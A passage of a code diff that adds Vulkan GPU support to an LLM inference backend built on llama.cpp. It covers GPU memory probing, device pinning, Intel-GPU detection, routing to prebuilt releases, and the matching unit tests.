+                logger.debug(
+                    f"vulkan GPU probe exited {result.returncode}: {result.stderr.strip()}"
+                )
+                return []
+        except Exception as e:
+            logger.debug(f"vulkan GPU probe failed: {e}")
+            return []
+
+        gpus: list[tuple[int, int, int]] = []
+        for line in result.stdout.strip().splitlines():
+            parts = line.split("\t")
+            if len(parts) != 4:
+                continue
+            try:
+                idx = int(parts[0])
+                free_mib = int(parts[1]) // (1024 * 1024)
+                is_igpu = parts[2] == "1"
+                # iGPU "total" is shared RAM, not a VRAM budget -> keep 0 so the
+                # fit stays on free*frac (the host reserve below is its
+                # headroom); a discrete card passes its real total through.
+                total_mib = 0 if is_igpu else int(parts[3]) // (1024 * 1024)
+            except ValueError:
+                continue
+            capped = _apply_igpu_host_reserve_mib(free_mib, is_igpu)
+            if capped < free_mib:
+                logger.info(
+                    f"Vulkan device VK{idx} is an integrated GPU sharing system "
+                    f"RAM; reserving {free_mib - capped}MiB host headroom "
+                    f"({free_mib}->{capped}MiB usable)"
+                )
+            gpus.append((idx, capped, total_mib))
+        gpus.sort(key = lambda g: g[0])
+        if gpus:
+            logger.info(
+                "Vulkan GPU memory detected: "
+                + ", ".join(f"VK{idx}={free}MiB" for idx, free, _total in gpus)
+            )
+        return gpus
+
     @staticmethod
     def _available_system_memory_mib() -> Optional[int]:
         """Available system RAM in MiB (psutil, then /proc/meminfo), or None if
@@ -2807,7 +2991,8 @@ class LlamaCppBackend:
     def _llama_server_env_for_binary(binary: str) -> dict[str, str]:
         """Build a subprocess env that lets llama-server resolve native libs."""
         env = child_env_without_native_path_secret()
-        binary_dir = str(Path(binary).parent)
+        # _llama_lib_dir resolves the llama-server symlink to the real build/bin.
+        binary_dir = str(_llama_lib_dir(binary))
 
         if sys.platform == "win32":
             # Ordering: see _build_windows_path_dirs. #5106.
@@ -5210,6 +5395,7 @@ class LlamaCppBackend:
             # Resolve llama-server now but defer a not-found error: a block-diffusion
             # GGUF uses the diffusion runner, and its arch is only known after the header.
             binary = self._find_llama_server_binary()
+            is_vulkan_backend = self._is_vulkan_backend(binary)
 
             # ── Phase 2: download (NO lock held, so cancel can proceed) ──
             # mtp_draft_path arrives set for local Gemma loads (detected
@@ -5449,7 +5635,8 @@ class LlamaCppBackend:
                     model_size = gguf_size + mmproj_size
                     # 2-tuple gpus for existing logic + a total map for the absolute
                     # per-GPU headroom (correct when the GPU is already partly used).
-                    _gpu_mem = self._get_gpu_memory()
+                    # Pass binary so a Vulkan build probes ggml's Vulkan ordinals.
+                    _gpu_mem = self._get_gpu_memory(binary)
                     gpus = [(idx, free) for idx, free, _t in _gpu_mem]
                     total_by_idx = {idx: total for idx, _f, total in _gpu_mem}
 
@@ -6222,7 +6409,12 @@ class LlamaCppBackend:
                 # cap, not the ROCm-reported VRAM, is the real ceiling); refuse an
                 # oversize load the OS would otherwise kill mid-flight. Base model
                 # only: an optional MTP drafter is dropped by the MTP-drop fallback.
-                if model_size is not None and self._amd_apu_wants_unified_memory(gpu_indices):
+                # CUDA/ROCm ids only; a Vulkan build's gpu_indices are ggml ordinals.
+                if (
+                    model_size is not None
+                    and not is_vulkan_backend
+                    and self._amd_apu_wants_unified_memory(gpu_indices)
+                ):
                     _ram_msg = self._apu_ram_shortfall_message(
                         model_size, self._available_system_memory_mib()
                     )
@@ -6485,6 +6677,12 @@ class LlamaCppBackend:
                             ", ".join(unsupported_cache_flags),
                         )
 
+                # Vulkan pins via --device (a cmd arg, unlike the env-based
+                # CUDA/ROCm pin below), emitted BEFORE user extras so llama.cpp's
+                # last-wins parsing lets a user --device override Studio's pick.
+                if is_vulkan_backend and gpu_indices is not None:
+                    cmd += LlamaCppBackend._vulkan_pin_args(gpu_indices)
+
                 # User pass-through args go last so llama.cpp's last-wins parsing
                 # lets the user override Studio's auto-set flags. Already
                 # validated by the route via validate_extra_args().
@@ -6536,23 +6734,25 @@ class LlamaCppBackend:
                         env.setdefault("OMP_NUM_THREADS", "2")
 
                 # AMD unified-memory APUs (gfx1150/gfx1151): let llama.cpp use
-                # shared system RAM. setdefault so a user value wins.
-                if self._amd_apu_wants_unified_memory(gpu_indices):
+                # shared system RAM. setdefault so a user value wins. Not on Vulkan
+                # (nor DC below): gpu_indices are ggml ordinals, not CUDA/ROCm ids.
+                if not is_vulkan_backend and self._amd_apu_wants_unified_memory(gpu_indices):
                     env.setdefault("GGML_CUDA_ENABLE_UNIFIED_MEMORY", "1")
                     logger.info("AMD unified-memory APU: set GGML_CUDA_ENABLE_UNIFIED_MEMORY=1")
 
                 # DC NVIDIA GPUs: FP32 accum (+ P2P / launch queues for multi-GPU).
                 # See _apply_datacenter_env; opt out with UNSLOTH_DISABLE_DC_TUNING=1.
-                if self._apply_datacenter_env(env, gpu_indices):
+                if not is_vulkan_backend and self._apply_datacenter_env(env, gpu_indices):
                     multi_gpu = self._effective_gpu_count(gpu_indices) > 1
                     logger.info(
                         f"Data-center GPU detected: applied DC llama.cpp env tuning (multi_gpu={multi_gpu})"
                     )
 
                 # Pin to selected GPU(s). On ROCm, narrowing only
-                # CUDA_VISIBLE_DEVICES leaves an AMD child seeing the full
-                # set, so set HIP_VISIBLE_DEVICES too.
-                if gpu_indices is not None:
+                # CUDA_VISIBLE_DEVICES leaves an AMD child seeing the full set, so
+                # set HIP_VISIBLE_DEVICES too. Vulkan is pinned via --device
+                # (above), not here.
+                if gpu_indices is not None and not is_vulkan_backend:
                     pinned = ",".join(str(i) for i in gpu_indices)
                     env["CUDA_VISIBLE_DEVICES"] = pinned
                     try:
diff --git a/studio/backend/tests/test_install_resolve_prebuilt.py b/studio/backend/tests/test_install_resolve_prebuilt.py
index b825172a63..090d2932ea 100644
--- a/studio/backend/tests/test_install_resolve_prebuilt.py
+++ b/studio/backend/tests/test_install_resolve_prebuilt.py
@@ -55,6 +55,27 @@ def _host(**kw):
     return ilp.HostInfo(**base)
 
 
+def test_force_cpu_clears_all_gpu_attributes_including_intel():
+    # --cpu-fallback is the "select the CPU prebuilt even when a GPU is present"
+    # escape hatch. It must drop EVERY GPU attribute, including has_intel_gpu, or
+    # the planner still prepends the Vulkan asset on an Intel-GPU host.
+    host = _host(
+        is_linux = True,
+        is_x86_64 = True,
+        has_usable_nvidia = True,
+        has_physical_nvidia = True,
+        has_rocm = True,
+        rocm_gfx_target = "gfx1100",
+        has_intel_gpu = True,
+    )
+    forced = ilp._apply_host_overrides(host, force_cpu = True)
+    assert forced.has_usable_nvidia is False
+    assert forced.has_physical_nvidia is False
+    assert forced.has_rocm is False
+    assert forced.rocm_gfx_target is None
+    assert forced.has_intel_gpu is False
+
+
 def test_macos_upstream_pin_only_for_explicit_pre26_upstream():
     pre26 = _host(
         system = "Darwin",
@@ -313,3 +334,152 @@ def test_sm103_host_drops_cuda128_windows_build():
     )
     kept_b200 = ilp._drop_blackwell_incapable_windows_cuda(b200, [cuda128, cuda129])
     assert [a.name for a in kept_b200] == [cuda128.name, cuda129.name]
+
+
+def _upstream_release(tag, asset_names):
+    return {
+        "tag_name": tag,
+        "assets": [
+            {"name": n, "browser_download_url": f"https://example/{n}"} for n in asset_names
+        ],
+    }
+
+
+def test_direct_upstream_arm64_intel_prefers_vulkan():
+    # Auto-detected Intel GPU on Linux arm64 -> Vulkan prebuilt first, CPU
+    # second (mirrors the x86_64 branch; ggml-org ships the arm64 Vulkan asset).
+    host = _host(is_linux = True, is_arm64 = True, machine = "aarch64", has_intel_gpu = True)
+    rel = _upstream_release(
+        "b9925",
+        ["llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", "llama-b9925-bin-ubuntu-arm64.tar.gz"],
+    )
+    plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest")
+    kinds = [a.install_kind for a in plan.attempts]
+    assert kinds[0] == "linux-vulkan", kinds
+    assert "linux-arm64" in kinds
+    assert plan.attempts[0].name == "llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz"
+
+
+def test_direct_upstream_intel_with_hidden_nvidia_is_cpu_only():
+    # A host with a physical NVIDIA hidden via CUDA_VISIBLE_DEVICES (physical
+    # True, usable False) + an Intel iGPU must NOT get the Vulkan archive even
+    # when planning directly against upstream: Vulkan ignores CUDA_VISIBLE_DEVICES
+    # and could grab the reserved card. It falls through to the CPU asset.
+    host = _host(
+        is_linux = True,
+        is_x86_64 = True,
+        has_intel_gpu = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = False,
+    )
+    rel = _upstream_release(
+        "b9925",
+        ["llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", "llama-b9925-bin-ubuntu-x64.tar.gz"],
+    )
+    plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest")
+    assert [a.install_kind for a in plan.attempts] == ["linux-cpu"]
+
+
+def test_direct_upstream_arm64_without_intel_is_cpu_only():
+    host = _host(is_linux = True, is_arm64 = True, machine = "aarch64")
+    rel = _upstream_release(
+        "b9925",
+        ["llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", "llama-b9925-bin-ubuntu-arm64.tar.gz"],
+    )
+    plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest")
+    assert [a.install_kind for a in plan.attempts] == ["linux-arm64"]
+
+
+def test_direct_upstream_x86_intel_prefers_vulkan():
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    rel = _upstream_release(
+        "b9925",
+        ["llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", "llama-b9925-bin-ubuntu-x64.tar.gz"],
+    )
+    plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest")
+    kinds = [a.install_kind for a in plan.attempts]
+    assert kinds[0] == "linux-vulkan", kinds
+    assert "linux-cpu" in kinds
+
+
+def test_linux_vulkan_health_glob_matches_bare_cpu_lib():
+    # The widened glob must cover both arch-suffixed (x64) and bare (arm64) CPU
+    # libs so a valid Vulkan install is not re-flagged unhealthy every check.
+    choice = ilp.AssetChoice(
+        repo = UPSTREAM,
+        tag = "b9925",
+        name = "llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz",
+        url = "https://example/x",
+        source_label = "upstream",
+        install_kind = "linux-vulkan",
+    )
+    groups = ilp.runtime_payload_health_groups(choice)
+    assert ["libggml-cpu*.so*"] in groups
+    assert ["libggml-cpu-*.so*"] not in groups
+
+
+def test_route_to_vulkan_prebuilt_auto_intel_goes_upstream_and_drops_fork_pin():
+    # Routing fork -> upstream also drops the fork release pin, which is in a
+    # different tag namespace and would make the upstream resolver miss.
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, FORK, "b9596-mix-abc", force_cpu = False)
+    assert repo == UPSTREAM
+    assert tag == ""
+    assert routed.has_intel_gpu is True
+
+
+def test_route_to_vulkan_prebuilt_preserves_explicit_upstream_pin():
+    # A pin set WITH an explicit upstream repo is already on upstream -> kept.
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    _routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, UPSTREAM, "b9596", force_cpu = False)
+    assert repo == UPSTREAM
+    assert tag == "b9596"
+
+
+def test_route_to_vulkan_prebuilt_cpu_fallback_wins():
+    # --cpu-fallback suppresses Vulkan routing even for an Intel host.
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, FORK, "b9596-mix-abc", force_cpu = True)
+    assert repo == FORK
+    assert tag == "b9596-mix-abc"
+    assert routed is host
+
+
+def test_route_to_vulkan_prebuilt_hidden_nvidia_not_rerouted():
+    # A mixed NVIDIA+Intel host that hid NVIDIA (CUDA_VISIBLE_DEVICES=""/-1):
+    # physical NVIDIA present but not usable. Must NOT auto-route to Vulkan, or
+    # Vulkan (which ignores CUDA_VISIBLE_DEVICES) could grab the reserved GPU.
+    host = _host(
+        is_linux = True,
+        is_x86_64 = True,
+        has_intel_gpu = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = False,
+    )
+    _routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False)
+    assert repo == FORK
+
+
+def test_route_to_vulkan_prebuilt_rocm_host_not_rerouted():
+    # An Intel iGPU alongside a usable ROCm GPU stays on its ROCm/fork path.
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True, has_rocm = True)
+    _routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False)
+    assert repo == FORK
+
+
+def test_route_to_vulkan_prebuilt_non_intel_unchanged():
+    host = _host(is_linux = True, is_x86_64 = True)
+    routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False)
+    assert repo == FORK
+    assert routed is host
+
+
+def test_resolve_prebuilt_intel_host_routes_to_upstream(monkeypatch, capsys):
+    # The --resolve-prebuilt probe must agree with the install path: an
+    # auto-detected Intel host resolves against upstream (Vulkan), not the fork.
+    monkeypatch.setattr(
+        ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    )
+    seen, out = _run_resolve_capture_host(monkeypatch, capsys)
+    assert seen["repo"] == UPSTREAM
+    assert out["repo"] == UPSTREAM
diff --git a/studio/backend/tests/test_llama_cpp_update.py b/studio/backend/tests/test_llama_cpp_update.py
index 5138e90471..f405ebcbd1 100644
--- a/studio/backend/tests/test_llama_cpp_update.py
+++ b/studio/backend/tests/test_llama_cpp_update.py
@@ -448,6 +448,48 @@ def test_start_update_happy_path(monkeypatch, tmp_path):
     assert popen_kwargs["env"]["UNSLOTH_PROGRESS_PERCENT_STEP"] == "5"
 
 
+def test_start_update_preserves_vulkan_via_env(monkeypatch, tmp_path):
+    # A Vulkan install (marker asset carries 'vulkan') must re-assert
+    # UNSLOTH_FORCE_VULKAN on update, or detect_host on a GPU box re-routes to
+    # CUDA/ROCm and silently replaces the Vulkan build.
+    install_dir = tmp_path / "llama.cpp"
+    binary = _write_install(
+        install_dir,
+        "b9493",
+        repo = "ggml-org/llama.cpp",
+        asset = "llama-b9493-bin-ubuntu-vulkan-x64.tar.gz",
+    )
+    monkeypatch.setattr(upd, "_find_binary", lambda: binary)
+    monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py")
+    monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518")
+
+    def _on_start(cmd):
+        _write_install(
+            install_dir,
+            "b9518",
+            repo = "ggml-org/llama.cpp",
+            asset = "llama-b9518-bin-ubuntu-vulkan-x64.tar.gz",
+        )
+
+    popen_kwargs: dict = {}
+    _patch_installer_popen(
+        monkeypatch,
+        lines = ["installed\n"],
+        on_start = _on_start,
+        captured_kwargs = popen_kwargs,
+    )
+
+    assert upd.start_update()["started"] is True
+    deadline = time.time() + 10
+    while time.time() < deadline:
+        job = upd.get_update_status()["job"]
+        if job["state"] in ("success", "error"):
+            break
+        time.sleep(0.05)
+    assert job["state"] == "success", job
+    assert popen_kwargs["env"]["UNSLOTH_FORCE_VULKAN"] == "1"
+
+
 def test_start_update_reports_full_release_tag(monkeypatch, tmp_path):
     install_dir = tmp_path / "llama.cpp"
     binary = _write_install(install_dir, "b9595")
diff --git a/studio/backend/tests/test_llama_cpp_vulkan_probe.py b/studio/backend/tests/test_llama_cpp_vulkan_probe.py
new file mode 100644
index 0000000000..92aaab4873
--- /dev/null
+++ b/studio/backend/tests/test_llama_cpp_vulkan_probe.py
@@ -0,0 +1,193 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Vulkan free-VRAM reader regression tests on a synthetic probe output.
+
+Covers the post-probe handling in
+``LlamaCppBackend._get_gpu_free_memory_vulkan``:
+
+  * integrated GPUs (probe reports is_igpu=1) leave a flat per-device host
+    margin matching llama.cpp's --fit-target, so context auto-sizing can't
+    over-commit shared RAM, and report total 0 (shared RAM is not a budget),
+  * discrete GPUs (is_igpu=0) keep their free untouched and pass their real
+    total through so the fit can reserve absolute headroom,
+  * an inherited ``GGML_VK_VISIBLE_DEVICES`` is passed through to ggml unchanged
+    (ggml applies it), not stripped or filtered in Python -- the probe reports
+    ggml's compact ordinal, which load_model pins with ``--device Vulkan<i>``.
+
+The ggml Vulkan library is never loaded: subprocess.run is mocked to emit
+the tab-separated lines the real ``_vulkan_probe.py`` would print.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+import types as _types
+from pathlib import Path
+from unittest import mock
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+import importlib as _importlib  # noqa: E402
+
+
+def _maybe_stub(name: str, builder):
+    try:
+        _importlib.import_module(name)
+    except ImportError:
+        sys.modules[name] = builder()
+
+
+def _build_loggers_stub():
+    m = _types.ModuleType("loggers")
+    m.get_logger = lambda name: __import__("logging").getLogger(name)
+    return m
+
+
+_maybe_stub("loggers", _build_loggers_stub)
+_maybe_stub("structlog", lambda: _types.ModuleType("structlog"))
+
+from core.inference import llama_cpp as _llama_mod  # noqa: E402
+from core.inference.llama_cpp import (  # noqa: E402
+    LlamaCppBackend,
+    _llama_lib_dir,
+    _vulkan_lib_filename,
+)
+
+MIB = 1024 * 1024
+GIB = 1024 * MIB
+
+
+def _make_vulkan_install(tmp_path: Path) -> str:
+    """A binary whose sibling dir holds the Vulkan ggml lib, so the
+    reader's ``is_vulkan_backend`` sibling-file check passes."""
+    bindir = tmp_path / "build" / "bin"
+    bindir.mkdir(parents = True)
+    binary = bindir / ("llama-server.exe" if sys.platform == "win32" else "llama-server")
+    binary.write_bytes(b"stub")
+    (bindir / _vulkan_lib_filename()).write_bytes(b"stub")
+    return str(binary)
+
+
+def _mock_probe(rows: list[str], captured_env: dict | None = None):
+    """Patch subprocess.run so the _vulkan_probe.py call returns ``rows``
+    (already tab-formatted), recording the env it was launched with."""
+    real_run = subprocess.run
+
+    def fake_run(cmd, *args, **kwargs):
+        if isinstance(cmd, list) and any("_vulkan_probe" in str(c) for c in cmd):
+            if captured_env is not None:
+                captured_env.clear()
+                captured_env.update(kwargs.get("env") or {})
+            return subprocess.CompletedProcess(
+                args = cmd, returncode = 0, stdout = "\n".join(rows), stderr = ""
+            )
+        return real_run(cmd, *args, **kwargs)
+
+    return mock.patch("subprocess.run", side_effect = fake_run)
+
+
+def _row(
+    idx: int,
+    free_bytes: int,
+    is_igpu: int,
+    total_bytes: int = 0,
+) -> str:
+    return f"{idx}\t{free_bytes}\t{is_igpu}\t{total_bytes}"
+
+
+def test_integrated_gpu_leaves_host_margin(tmp_path):
+    binary = _make_vulkan_install(tmp_path)
+    # iGPU with 30 GiB free; reserve a flat 1024 MiB (llama.cpp --fit-target).
+    # total stays 0: shared system RAM is not a VRAM budget for the fit.
+    rows = [_row(0, 30 * GIB, is_igpu = 1, total_bytes = 32 * GIB)]
+    with _mock_probe(rows):
+        gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
+    assert gpus == [(0, 30 * 1024 - 1024, 0)], gpus
+
+
+def test_discrete_gpu_free_is_untouched_and_total_passed_through(tmp_path):
+    binary = _make_vulkan_install(tmp_path)
+    # 6 GiB free on a partially occupied 24 GiB card: free is untouched and the
+    # real total flows through so the fit reserves absolute headroom (CUDA/ROCm
+    # parity) instead of the looser free*frac budget.
+    rows = [_row(0, 6 * GIB, is_igpu = 0, total_bytes = 24 * GIB)]
+    with _mock_probe(rows):
+        gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
+    assert gpus == [(0, 6 * 1024, 24 * 1024)], gpus
+
+
+def test_large_discrete_gpu_is_untouched(tmp_path):
+    binary = _make_vulkan_install(tmp_path)
+    # A 48 GiB discrete card stays untouched regardless of size; only the
+    # iGPU flag triggers the host margin, never a VRAM/RAM ratio.
+    rows = [_row(0, 47 * GIB, is_igpu = 0, total_bytes = 48 * GIB)]
+    with _mock_probe(rows):
+        gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
+    assert gpus == [(0, 47 * 1024, 48 * 1024)], gpus
+
+
+def test_inherited_visible_devices_mask_is_passed_through_to_probe(tmp_path, monkeypatch):
+    # The mask is NOT stripped or filtered in Python: ggml parses it in raw
+    # physical-device space while this probe reports the compact post-filter
+    # ordinal, so mixing spaces would be wrong. It is passed through unchanged
+    # so ggml applies it to the same device list the launch will enumerate.
+    binary = _make_vulkan_install(tmp_path)
+    monkeypatch.setenv("GGML_VK_VISIBLE_DEVICES", "1")
+    captured: dict = {}
+    rows = [_row(0, 23 * GIB, is_igpu = 0, total_bytes = 24 * GIB)]
+    with _mock_probe(rows, captured_env = captured):
+        LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
+    assert captured.get("GGML_VK_VISIBLE_DEVICES") == "1", captured
+
+
+def test_vulkan_pin_args_uses_device_names_not_env_mask():
+    # Pin by compact device name via --device (the space the probe reports and
+    # the registry names), never by writing a compact ordinal into the raw
+    # GGML_VK_VISIBLE_DEVICES index space.
+    assert LlamaCppBackend._vulkan_pin_args([0]) == ["--device", "Vulkan0"]
+    assert LlamaCppBackend._vulkan_pin_args([1, 2]) == ["--device", "Vulkan1,Vulkan2"]
+    assert LlamaCppBackend._vulkan_pin_args(None) == []
+    assert LlamaCppBackend._vulkan_pin_args([]) == []
+
+
+def test_vulkan_only_build_is_detected(tmp_path):
+    binary = _make_vulkan_install(tmp_path)
+    assert LlamaCppBackend._is_vulkan_backend(binary) is True
+
+
+def test_multi_backend_build_is_not_vulkan_only(tmp_path):
+    # A custom build that ships CUDA (or HIP) alongside Vulkan must NOT be
+    # treated as Vulkan-only, or its CUDA GPU would be probed/pinned as a Vulkan
+    # device; defer to the CUDA/HIP path instead.
+    binary = _make_vulkan_install(tmp_path)
+    cuda = "ggml-cuda.dll" if sys.platform == "win32" else "libggml-cuda.so"
+    (_llama_lib_dir(binary) / cuda).write_bytes(b"stub")
+    assert LlamaCppBackend._is_vulkan_backend(binary) is False
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "shell wrapper fallback is POSIX")
+def test_shell_wrapper_entrypoint_resolves_to_real_lib_dir(tmp_path):
+    # create_exec_entrypoint falls back to a #!/bin/sh wrapper at the install root
+    # when it cannot symlink; _find_llama_server_binary returns that root entrypoint,
+    # so _llama_lib_dir must follow the wrapper's exec target to build/bin -- else
+    # _is_vulkan_backend misses libggml-vulkan.so and the Vulkan probe/pin silently
+    # never engage on a valid Vulkan install.
+    import os
+
+    binary = _make_vulkan_install(tmp_path)  # tmp_path/build/bin/llama-server + vulkan lib
+    bindir = Path(binary).parent
+    wrapper = tmp_path / "llama-server"
+    wrapper.write_text('#!/bin/sh\nexec "$(dirname "$0")/build/bin/llama-server" "$@"\n')
+    os.chmod(wrapper, 0o755)
+    assert _llama_lib_dir(str(wrapper)) == bindir
+    assert LlamaCppBackend._is_vulkan_backend(str(wrapper)) is True
+
+
+if __name__ == "__main__":
+    raise SystemExit(pytest.main([__file__, "-v"]))
diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py
index c16ae91467..1bcbfbf95a 100644
--- a/studio/backend/utils/llama_cpp_update.py
+++ b/studio/backend/utils/llama_cpp_update.py
@@ -514,6 +514,12 @@ def _run_update(install_dir: Path, repo: str, asset: Optional[str], script: Path
         logger.info("llama update: installing", cmd = " ".join(cmd))
         # Stream progress lines into job["progress"].
         env = dict(os.environ, UNSLOTH_PROGRESS_PERCENT_STEP = "5")
+        # Preserve a Vulkan install across updates: detect_host on a CUDA/ROCm
+        # box would otherwise re-route and silently replace the Vulkan build.
+        # Re-assert it via the same env flag setup uses (mirrors
+        # _rocm_install_args).
+        if asset and "vulkan" in asset.lower():
+            env["UNSLOTH_FORCE_VULKAN"] = "1"
         proc = subprocess.Popen(
             cmd,
             stdout = subprocess.PIPE,
diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index 6c75e6c394..856ba71478 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -10,6 +10,7 @@ import argparse
 import atexit
 import errno
 import fnmatch
+import glob
 import hashlib
 import json
 import os
@@ -265,6 +266,7 @@ class HostInfo:
     has_physical_nvidia: bool
     has_usable_nvidia: bool
     has_rocm: bool = False
+    has_intel_gpu: bool = False
     rocm_gfx_target: str | None = None
     # (major, minor) from platform.mac_ver(); None off macOS or if unparseable.
     # Skips a macos prebuilt whose minimum-OS exceeds this host.
@@ -1482,6 +1484,24 @@ def direct_upstream_release_plan(
                         install_kind = "windows-hip",
                     )
                 )
+        # Intel (or other non-NVIDIA/non-AMD) GPU: use the Vulkan prebuilt. Gate
+        # on no PHYSICAL NVIDIA (not just no usable one): a host that hid NVIDIA
+        # via CUDA_VISIBLE_DEVICES must not reach Vulkan, which ignores that mask
+        # and could enumerate the reserved card. Falls through to CPU below.
+        elif host.has_intel_gpu and not host.has_physical_nvidia:
+            vulkan_asset = f"llama-{release_tag}-bin-win-vulkan-x64.zip"
+            vulkan_url = assets.get(vulkan_asset)
+            if vulkan_url:
+                attempts.append(
+                    AssetChoice(
+                        repo = repo,
+                        tag = release_tag,
+                        name = vulkan_asset,
+                        url = vulkan_url,
+                        source_label = "upstream",
+                        install_kind = "windows-vulkan",
+                    )
+                )
         cpu_asset = f"llama-{release_tag}-bin-win-cpu-x64.zip"
         cpu_url = assets.get(cpu_asset)
         if cpu_url:
@@ -1545,6 +1565,23 @@ def direct_upstream_release_plan(
         # ROCm hosts are excluded: this ggml-org path ships no per-gfx ROCm
         # asset, so they fall through to the empty-attempts raise (HIP source
         # build) rather than silently getting a CPU binary on a GPU host.
+        # Intel (or other non-NVIDIA/non-AMD) GPU: use the Vulkan prebuilt. The
+        # elif already excludes usable NVIDIA and ROCm; also require no PHYSICAL
+        # NVIDIA so a CUDA-hidden card isn't reached through Vulkan (CPU below).
+        if host.has_intel_gpu and not host.has_physical_nvidia:
+            vulkan_asset = f"llama-{release_tag}-bin-ubuntu-vulkan-x64.tar.gz"
+            vulkan_url = assets.get(vulkan_asset)
+            if vulkan_url:
+                attempts.append(
+                    AssetChoice(
+                        repo = repo,
+                        tag = release_tag,
+                        name = vulkan_asset,
+                        url = vulkan_url,
+                        source_label = "upstream",
+                        install_kind = "linux-vulkan",
+                    )
+                )
         asset_name = f"llama-{release_tag}-bin-ubuntu-x64.tar.gz"
         asset_url = assets.get(asset_name)
         if asset_url:
@@ -1564,6 +1601,23 @@ def direct_upstream_release_plan(
         # selector returned 0 attempts and the installer fell back to a
         # source build on every Linux ARM64 host (DGX Spark, Ampere
         # Altra, GitHub-hosted ubuntu-24.04-arm runners, etc.).
+        # Intel (or other non-NVIDIA/non-AMD) GPU: prefer the Vulkan prebuilt,
+        # mirroring the x86_64 branch. Upstream ships bin-ubuntu-vulkan-arm64.
+        # No physical NVIDIA: don't reach a CUDA-hidden card through Vulkan.
+        if host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm:
+            vulkan_asset = f"llama-{release_tag}-bin-ubuntu-vulkan-arm64.tar.gz"
+            vulkan_url = assets.get(vulkan_asset)
+            if vulkan_url:
+                attempts.append(
+                    AssetChoice(
+                        repo = repo,
+                        tag = release_tag,
+                        name = vulkan_asset,
+                        url = vulkan_url,
+                        source_label = "upstream",
+                        install_kind = "linux-vulkan",
+                    )
+                )
         asset_name = f"llama-{release_tag}-bin-ubuntu-arm64.tar.gz"
         asset_url = assets.get(asset_name)
         if asset_url:
@@ -3075,6 +3129,40 @@ def detect_host() -> HostInfo:
         # Note: amdhip64.dll presence alone is NOT treated as GPU evidence
         # since the HIP SDK can be installed without an AMD GPU.
 
+    # Detect an Intel GPU; gates the Vulkan prebuilt. Linux reads the DRM sysfs
+    # vendor id (0x8086); Windows queries the WMI video controller list. Only
+    # probed with no usable NVIDIA and no ROCm (matching the Vulkan branches),
+    # keeping the probe (notably the Windows powershell call) off that path.
+    has_intel_gpu = False
+    if not has_usable_nvidia and not has_rocm:
+        if is_linux:
+            for _vendor_file in glob.glob("/sys/class/drm/card*/device/vendor"):
+                try:
+                    with open(_vendor_file) as _vf:
+                        if _vf.read().strip().lower() == "0x8086":
+                            has_intel_gpu = True
+                            break
+                except OSError:
+                    continue
+        elif is_windows:
+            _ps = shutil.which("powershell") or shutil.which("pwsh")
+            if _ps:
+                try:
+                    _result = run_capture(
+                        [
+                            _ps,
+                            "-NoProfile",
+                            "-Command",
+                            "Get-CimInstance Win32_VideoController | "
+                            "Select-Object -ExpandProperty Name",
+                        ],
+                        timeout = 15,
+                    )
+                    if _result.returncode == 0 and "intel" in _result.stdout.lower():
+                        has_intel_gpu = True
+                except Exception:
+                    pass
+
     return HostInfo(
         system = system,
         machine = machine,
@@ -3090,6 +3178,7 @@ def detect_host() -> HostInfo:
         has_physical_nvidia = has_physical_nvidia,
         has_usable_nvidia = has_usable_nvidia,
         has_rocm = has_rocm,
+        has_intel_gpu = has_intel_gpu,
         rocm_gfx_target = rocm_gfx_target,
         macos_version = macos_version,
     )
@@ -3126,6 +3215,7 @@ def _apply_host_overrides(
             has_physical_nvidia = False,
             has_rocm = False,
             rocm_gfx_target = None,
+            has_intel_gpu = False,
         )
     gfx = _normalize_forwarded_gfx(override_rocm_gfx)
     if gfx:
@@ -3866,6 +3956,23 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
                 "falling back to source build with HIP support"
             )
 
+        # Intel (or other non-NVIDIA/non-AMD) GPU: use the Vulkan prebuilt. No
+        # physical NVIDIA (not just no usable one): a CUDA-hidden card must not
+        # be reached through Vulkan, which ignores CUDA_VISIBLE_DEVICES.
